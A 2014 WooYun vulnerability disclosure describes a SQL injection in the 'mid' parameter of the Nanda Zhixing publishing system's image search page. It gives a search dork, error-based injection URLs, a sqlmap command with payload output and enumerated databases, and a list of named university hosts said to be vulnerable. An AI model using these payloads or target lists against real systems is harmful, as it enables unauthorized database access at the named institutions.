当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076869

漏洞标题:南大之星信息发布系统SQL注入漏洞

相关厂商:南大之星

漏洞作者: 路人甲

提交时间:2014-09-23 11:23

修复时间:2014-12-22 11:24

公开时间:2014-12-22 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

南大之星信息发布系统某处功能存在SQL注入漏洞

详细说明:

百度搜索:site:edu.cn intitle:南大之星信息发布系统
共有184个收录

1.png


----------------------------------------------
南大之星内容发布系统在图片搜索功能实现上存在SQL注入漏洞
注入链接:/pub/search/search_graph.asp?id=2&mid=34
注入参数:mid
----------------------------------------------

漏洞证明:

以http://archives.hrbeu.edu.cn/pub/作为演示案例:
测试链接:
http://archives.hrbeu.edu.cn/pub/search/search_graph.asp?id=2&mid=34
1) 报错注入:
http://archives.hrbeu.edu.cn/pub/search/search_graph.asp?id=2&mid=34%20and%201=@@version

2.png


2)sqlmap注入
$ py sqlmap.py -u 'http://archives.hrbeu.edu.cn/pub/search/search_graph.asp?id=2&mid=34' -p mid --level 5 --dbs -v 0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsi
[*] starting at 23:49:09
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mid
Type: boolean-based blind
Title: Generic boolean-based blind - Parameter replace (original value)
Payload: id=2&mid=(SELECT (CASE WHEN (8997=8997) THEN 34 ELSE 1/(SELECT 0) END))
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=2&mid=34 AND 6859=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(104)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (6859=68
Type: UNION query
Title: Generic UNION query (NULL) - 26 columns
Payload: id=2&mid=34 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=2&mid=34; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=2&mid=34 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=2&mid=(SELECT CHAR(113)+CHAR(122)+CHAR(104)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (9457=9457) THEN CHAR(49) ELSE C
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [12]:
[*] archives
[*] BEDB
[*] CeShiFaBu
[*] foxcj
[*] master
[*] MetaNet_Photo
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] serverdbbk
[*] tempdb

3.png

4.png


其他案例:
http://218.193.144.146/pub/search/search_graph.asp?id=2&mid=34'

5.png

http://archives.hrbeu.edu.cn/pub/search/search_graph.asp?id=2&mid=34'

6.png

http://dag.ujs.edu.cn/pub/search/search_graph.asp?id=2&mid=34
http://dag.haut.edu.cn/pub/search/search_graph.asp?id=2&mid=34
http://dag.cufe.edu.cn/pub/search/search_graph.asp?id=2&mid=34
http://www.da.shu.edu.cn/pub/search/search_graph.asp?id=2&mid=34
http://www.shgxda.ecnu.edu.cn/pub/search/search_graph.asp?id=2&mid=34
http://dawww.nju.edu.cn/pub/search/search_graph.asp?id=2&mid=34

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-09-26 14:58

厂商回复:

最新状态:

暂无


漏洞评价:

评论